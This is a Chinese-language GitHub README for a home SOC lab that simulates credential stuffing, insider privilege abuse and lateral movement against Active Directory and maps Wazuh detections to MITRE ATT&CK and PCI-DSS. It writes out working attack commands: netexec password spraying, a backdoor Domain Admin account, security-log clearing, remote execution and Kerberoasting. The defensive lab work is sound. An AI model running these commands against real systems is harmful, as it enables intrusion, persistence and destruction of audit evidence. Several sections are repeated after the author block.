Moses-Kinuthia/Financial-Fraud-Cyber-Threat-Detection-Pipeline
GitHub: Moses-Kinuthia/Financial-Fraud-Cyber-Threat-Detection-Pipeline
端到端的 SOC 检测工程项目,在 Active Directory 环境中模拟金融攻击场景并编写自定义 Wazuh 检测规则,同时映射 MITRE ATT&CK 和 PCI-DSS 合规框架。
Stars: 1 | Forks: 0
# 金融欺诈 → 网络威胁检测 Pipeline





## SOC 执行摘要
**模拟内容:**
- 针对 Active Directory 的凭证填充攻击(SMB/NTLM 身份验证)
- 涉及域控制器上特权账户滥用的内部威胁活动
- 初始失陷后跨内部 Windows 终端的横向移动
**检测结果:**
- 身份验证失败激增(事件 ID 4625, 4771)
- 权限提升和账户操纵(事件 ID 4720, 4728)
- 包括日志清除在内的反取证行为(事件 ID 1102)
- 通过 SMB 和 Kerberos 异常表现出的横向移动模式(事件 ID 4624 Type 3, 4769)
**模拟的业务风险:**
- 通过凭证填充进行的银行客户账户接管 (ATO)
- 由特权内部人员滥用促成的内部欺诈
- 通过凭证窃取和横向移动导致的域级别失陷风险
## 目录
- [概述](#overview)
- [实验室架构](#lab-architecture)
- [场景 A — 账户接管](#scenario-a--account-takeover-credential-stuffing)
- [场景 B — 内部威胁](#scenario-b--insider-threat-privileged-abuse)
- [场景 C — 横向移动](#scenario-c--lateral-movement)
- [自定义检测规则](#custom-detection-rules)
- [检测工程决策](#detection-engineering-decisions)
- [MITRE ATT&CK 映射](#mitre-attck-mapping)
- [合规性映射](#compliance-mapping)
- [威胁情报丰富化](#threat-intelligence-enrichment)
- [SOC 可见性总结](#soc-visibility-summary)
- [作者](#author)
## 概述
这是一个端到端的 SOC 检测工程项目,在 Active Directory 环境中模拟真实的金融网络攻击。本项目演示了 SOC 如何检测、调查和关联:
- 账户接管(凭证填充)
- 内部威胁(特权滥用)
- 横向移动(失陷后攻击路径)
映射至:
* MITRE ATT&CK 框架
* PCI-DSS 安全控制
* 银行欺诈检测场景
## 实验室架构
| 组件 | 详情 |
|---|---|
| SIEM | Wazuh 4.14.1 — 10.0.10.11 |
| 域控制器 | Windows Server 2019 — DC01 (10.0.0.10) |
| 工作站 | Windows 10 Enterprise — WKSTNO1 (10.0.0.100) |
| 攻击平台 | Kali Linux — 10.0.20.11 |
| 防火墙 | pfSense — 隔离攻击/LAN/实验网子网 |
| 域 | SOCLAB.local |
## 场景 A — 账户接管(凭证填充)
### 攻击执行
### 侦察
```
nmap -sS -sV -p 135,139,445,389,636,3389 10.0.0.10 -oN ~/lab/scenarioA_recon.txt
```
### 域枚举
```
enum4linux-ng -A 10.0.0.10 | tee ~/lab/scenarioA_enum.txt
```
### 凭证填充攻击
```
netexec smb 10.0.0.10 \
-u jkamau \
-p ~/lab/banking_passwords.txt \
--continue-on-success \
2>&1 | tee ~/lab/scenarioA_netexec.txt
```
## 2️⃣ SIEM 检测 (Wazuh)
**触发的告警:**
| 规则 ID | 事件 ID | 描述 | 级别 |
|---|---|---|---|
| 18152 | 4625 | 多次身份验证失败 | 10 |
| 18154 | 4740 | 账户被锁定 — jkamau | 10 |
| 100035 | — | 凭证填充:在 60 秒内来自 10.0.20.11 的 5 次以上失败尝试 | 14 |
### 身份验证失败洪流
### 账户锁定检测
### 检测结果
- 规则 18152 在第一次失败尝试后的几秒钟内触发 — 分析师操作:隔离源 IP,强制重置 jkamau 的密码
- 规则 18154 确认突破锁定阈值 — 分析师操作:升级至欺诈团队,检查是否存在来自其他 IP 的并发成功登录
- 发现不足:低于 5 次尝试/60 秒阈值的慢速低频口令喷射可逃避检测 — 已通过规则 100005(1 小时时间窗口)缓解
# 🟠 场景 B — 内部威胁(特权滥用)
### 攻击执行
**AD 侦察(作为特权内部人员):**
```
Get-ADUser -Filter * -Properties * | Select Name,SamAccountName,LastLogonDate | Export-Csv C:\Temp\all_users.csv
Get-ADGroupMember -Identity "Domain Admins" | Select Name,SamAccountName
Get-ADComputer -Filter * -Properties * | Select Name,OperatingSystem
```
### 敏感数据访问
```
New-Item -Path "C:\SensitiveData" -ItemType Directory -Force
Set-Content -Path "C:\SensitiveData\customer_accounts.txt" -Value "ACCOUNT: KE001, Balance: 450000, PIN: 1234"
Get-Content "C:\SensitiveData\customer_accounts.txt"
```
## 2️⃣ 持久化与滥用
### 后门账户创建
```
New-ADUser -Name "IT Support" `
-SamAccountName "itsupport_backup" `
-UserPrincipalName "itsupport_backup@SOCLAB.local" `
-Path "CN=Users,DC=SOCLAB,DC=local" `
-AccountPassword (ConvertTo-SecureString "Backdoor@2024!" -AsPlainText -Force) `
-Enabled $true
Add-ADGroupMember -Identity "Domain Admins" -Members "itsupport_backup"
```
### 权限提升
## 3️⃣ 反取证活动
### 安全日志已清除(严重)
```
wevtutil cl Security
```
## 4️⃣ SIEM 检测 (Wazuh)
| 规则 ID | 事件 ID | 描述 | 级别 |
|---|---|---|---|
| 18110 | 4720 | 已创建用户账户 — itsupport_backup | 8 |
| 18141 | 4728 | 用户被添加到 Domain Admins | 8 |
| 63102 | 1102 | 安全审计日志已清除 — 严重 | 12 |
| 18108 | 4673 | 特权操作尝试失败 | 4 |
## 🧠 检测结果
- 规则 18110 (4720) 在创建后门账户时立即触发 — 分析师操作:禁用账户,调查创建者近期的活动
- 规则 63102 (1102) 是确认的恶意指标 — 没有合法的管理员会在没有变更工单的情况下清除日志。分析师操作:立即升级,作为活跃事件处理
- 发现不足:在未启用 PowerShell Script Block Logging 的情况下,通过 Get-ADUser 进行的 AD 枚举不会生成安全事件 — 已通过启用事件 ID 4104 日志记录修复
# 🔵 场景 C — 横向移动
## 1️⃣ 失陷后活动 (Kali)
### 攻击执行
**使用失陷的后门账户进行凭证重用:**
```
TARGET_USER="itsupport_backup"
TARGET_PASS='Backdoor@2024!'
# 验证对 WKSTNO1 的访问
netexec smb 10.0.0.100 -u "$TARGET_USER" -p "$TARGET_PASS" -d SOCLAB
# Enumerate shares
netexec smb 10.0.0.100 -u "$TARGET_USER" -p "$TARGET_PASS" -d SOCLAB --shares
# Remote command execution
netexec smb 10.0.0.100 -u "$TARGET_USER" -p "$TARGET_PASS" -d SOCLAB -x "whoami && hostname"
# Pivot 到 DC01
netexec smb 10.0.0.10 -u "$TARGET_USER" -p "$TARGET_PASS" -d SOCLAB -x "net localgroup administrators"
# Kerberoasting
netexec ldap 10.0.0.10 -u "$TARGET_USER" -p "$TARGET_PASS" -d SOCLAB --kerberoasting ~/lab/kerberoast_hashes.txt
```
### SIEM 检测
| 规则 ID | 事件 ID | 描述 | 级别 |
|---|---|---|---|
| 100020 | 4624 | 来自攻击段的网络登录 (Type 3) | 10 |
| 18107 | 4672 | 新登录分配了特殊权限 | 8 |
| 100021 | 4769 | Kerberoasting — RC4 TGS 请求 | 12 |
| 100022 | 4688 | 由 services.exe 生成的远程 Shell | 13 |
### 检测结果
- 规则 100020 标记了从 `10.0.20.11` 到 WKSTNO1 的网络登录 — 分析师操作:追踪登录链,与基线进行比较
- Kerberoasting 模式(RC4 TGS 请求)被规则 100021 检测到 — 分析师操作:审计服务账户,强制仅使用 AES 加密
- 完整重建攻击者攻击链:Kali → WKSTNO1 → DC01 在 Wazuh 时间线中可见
# 自定义检测规则
完整规则文件:[`rules/local_rules.xml`](rules/local_rules.xml)
实现的关键规则:
```
100030
ATO-DETECT: Credential stuffing in progress from Kali
T1110.003
60106
1102
INSIDER-THREAT: CRITICAL - Security audit log cleared
T1070.001
18105
Source Address: 10\.0\.20\.11
ATTACK DETECTED: Network scan/block from Kali Linux
T1046
```
## 🔥 检测工程决策
**1. 基于频率的阈值(凭证填充)**
短时间窗口(60-120 秒)内的低阈值(5-20 个事件)平衡了敏感度与误报。旨在检测突发的 ATO 尝试,而不标记正常的用户输入错误。
**2. 内部威胁检测(低频,高危)**
权限提升事件罕见但影响极大。规则在单次发生时(4720, 1102)立即触发。优先考虑业务风险而非降低噪音。
**3. 反取证处理**
无论在何种上下文中,事件日志清除 (1102) 都被视为严重事件。不应用阈值设定 — 其在银行环境中的恶意相关性太高,无需依赖频率来判定。
**4. 横向移动关联**
时间窗口(30-120 秒)将 SMB 登录和远程执行关联起来,以重建跨多个主机的攻击者攻击链。
**5. MITRE 标签策略**
每条规则均映射至 ATT&CK 技术,以提高 SOC 分流效率和标准化报告。
**6. 银行 SOC 对齐**
检测逻辑反映了现实世界金融机构的约束:高告警量、快速欺诈检测要求以及严格的合规性日志记录。
# 🧠 MITRE ATT&CK 映射
| 技术 ID | 技术 | 场景 |
|---|---|---|
| T1110.003 | 密码喷射 | 场景 A |
| T1078 | 有效账户 | 场景 A, C |
| T1136.001 | 创建本地账户 | 场景 B |
| T1078.002 | 域账户 | 场景 B |
| T1070.001 | 清除 Windows 事件日志 | 场景 B |
| T1003.003 | NTDS 凭证窃取 | 场景 B |
| T1021.002 | SMB 横向移动 | 场景 C |
| T1558.003 | Kerberoasting | 场景 C |
| T1046 | 网络服务发现 | 场景 A, C |
# 🏦 合规性映射
| 规则 ID | 检测项 | PCI-DSS | 银行控制 |
|---|---|---|---|
| 100035 | 凭证填充 | Req 10.2.4 | CBK:账户访问监控 |
| 18154 | 账户锁定 | Req 8.1.6 | 客户保护控制 |
| 18110 | 创建新账户 | Req 8.1.1 | 职责分离 |
| 63102 | 审计日志已清除 | Req 10.5.1 | 日志完整性要求 |
| 100020 | 来自攻击段的网络登录 | Req 10.2.4, 11.4 | 网络分段控制 |
| 100021 | Kerberoasting | Req 8.6 | 服务账户加固 |
# 🐍 威胁情报丰富化
## 威胁情报丰富化
位于 [`scripts/enrich_alerts.py`](scripts/enrich_alerts.py) 的 Python 丰富化脚本为 Wazuh 告警导出数据丰富了以下内容:
- AbuseIPDB 信誉评分
- 每个规则 ID 的 MITRE 技术映射
- 风险分类:INFO → LOW → MEDIUM → HIGH → CRITICAL
- 分析师行动建议(MONITOR / ESCALATE)
```
pip install -r scripts/requirements.txt
python3 scripts/enrich_alerts.py --input alerts.csv --output enriched_report.csv
```
# 📊 SOC 可见性总结
**识别出的检测盲区:**
- 通过 PowerShell cmdlet 进行的 AD 枚举需要启用 Script Block Logging (4104) — 默认不启用
- 低于频率阈值的慢速口令喷射可逃避突发检测 — 已通过 1 小时时间窗口规则解决
# 👤 作者
Moses Kinuthia
网络安全分析师 | SOC 工程 | 肯尼亚内罗毕
专注领域:检测工程 • 威胁情报 • SOC 自动化
### 域枚举
```
enum4linux-ng -A 10.0.0.10 | tee ~/lab/scenarioA_enum.txt
```
### 凭证填充攻击
```
netexec smb 10.0.0.10 \
-u jkamau \
-p ~/lab/banking_passwords.txt \
--continue-on-success \
2>&1 | tee ~/lab/scenarioA_netexec.txt
```
## 2️⃣ SIEM 检测 (Wazuh)
**触发的告警:**
| 规则 ID | 事件 ID | 描述 | 级别 |
|---|---|---|---|
| 18152 | 4625 | 多次身份验证失败 | 10 |
| 18154 | 4740 | 账户被锁定 — jkamau | 10 |
| 100035 | — | 凭证填充:在 60 秒内来自 10.0.20.11 的 5 次以上失败尝试 | 14 |
### 身份验证失败洪流
### 账户锁定检测
### 检测结果
- 规则 18152 在第一次失败尝试后的几秒钟内触发 — 分析师操作:隔离源 IP,强制重置 jkamau 的密码
- 规则 18154 确认突破锁定阈值 — 分析师操作:升级至欺诈团队,检查是否存在来自其他 IP 的并发成功登录
- 发现不足:低于 5 次尝试/60 秒阈值的慢速低频口令喷射可逃避检测 — 已通过规则 100005(1 小时时间窗口)缓解
# 🟠 场景 B — 内部威胁(特权滥用)
### 攻击执行
**AD 侦察(作为特权内部人员):**
```
Get-ADUser -Filter * -Properties * | Select Name,SamAccountName,LastLogonDate | Export-Csv C:\Temp\all_users.csv
Get-ADGroupMember -Identity "Domain Admins" | Select Name,SamAccountName
Get-ADComputer -Filter * -Properties * | Select Name,OperatingSystem
```
### 敏感数据访问
```
New-Item -Path "C:\SensitiveData" -ItemType Directory -Force
Set-Content -Path "C:\SensitiveData\customer_accounts.txt" -Value "ACCOUNT: KE001, Balance: 450000, PIN: 1234"
Get-Content "C:\SensitiveData\customer_accounts.txt"
```
## 2️⃣ 持久化与滥用
### 后门账户创建
```
New-ADUser -Name "IT Support" `
-SamAccountName "itsupport_backup" `
-UserPrincipalName "itsupport_backup@SOCLAB.local" `
-Path "CN=Users,DC=SOCLAB,DC=local" `
-AccountPassword (ConvertTo-SecureString "Backdoor@2024!" -AsPlainText -Force) `
-Enabled $true
Add-ADGroupMember -Identity "Domain Admins" -Members "itsupport_backup"
```
### 权限提升
## 3️⃣ 反取证活动
### 安全日志已清除(严重)
```
wevtutil cl Security
```
## 4️⃣ SIEM 检测 (Wazuh)
| 规则 ID | 事件 ID | 描述 | 级别 |
|---|---|---|---|
| 18110 | 4720 | 已创建用户账户 — itsupport_backup | 8 |
| 18141 | 4728 | 用户被添加到 Domain Admins | 8 |
| 63102 | 1102 | 安全审计日志已清除 — 严重 | 12 |
| 18108 | 4673 | 特权操作尝试失败 | 4 |
**识别出的检测盲区:**
- 通过 PowerShell cmdlet 进行的 AD 枚举需要启用 Script Block Logging (4104) — 默认不启用
- 低于频率阈值的慢速口令喷射可逃避突发检测 — 已通过 1 小时时间窗口规则解决
# 👤 作者
Moses Kinuthia
网络安全分析师 | SOC 工程 | 肯尼亚内罗毕
专注领域:检测工程 • 威胁情报 • SOC 自动化标签:Active Directory, AI合规, ATO, Cloudflare, Kerberos异常, MITRE ATT&CK, PCI-DSS, PE 加载器, Plaso, SMB协议, SOC检测工程, Terraform 安全, Wazuh, 内部威胁, 凭据填充, 反取证, 威胁情报, 安全可见性, 安全合规, 安全评估, 开发者工具, 日志清除, 检测规则, 模拟器, 横向移动, 特权滥用, 端到端SOC, 编程规范, 网络代理, 网络安全实验, 网络资产发现, 账户接管, 逆向工具, 金融欺诈, 风控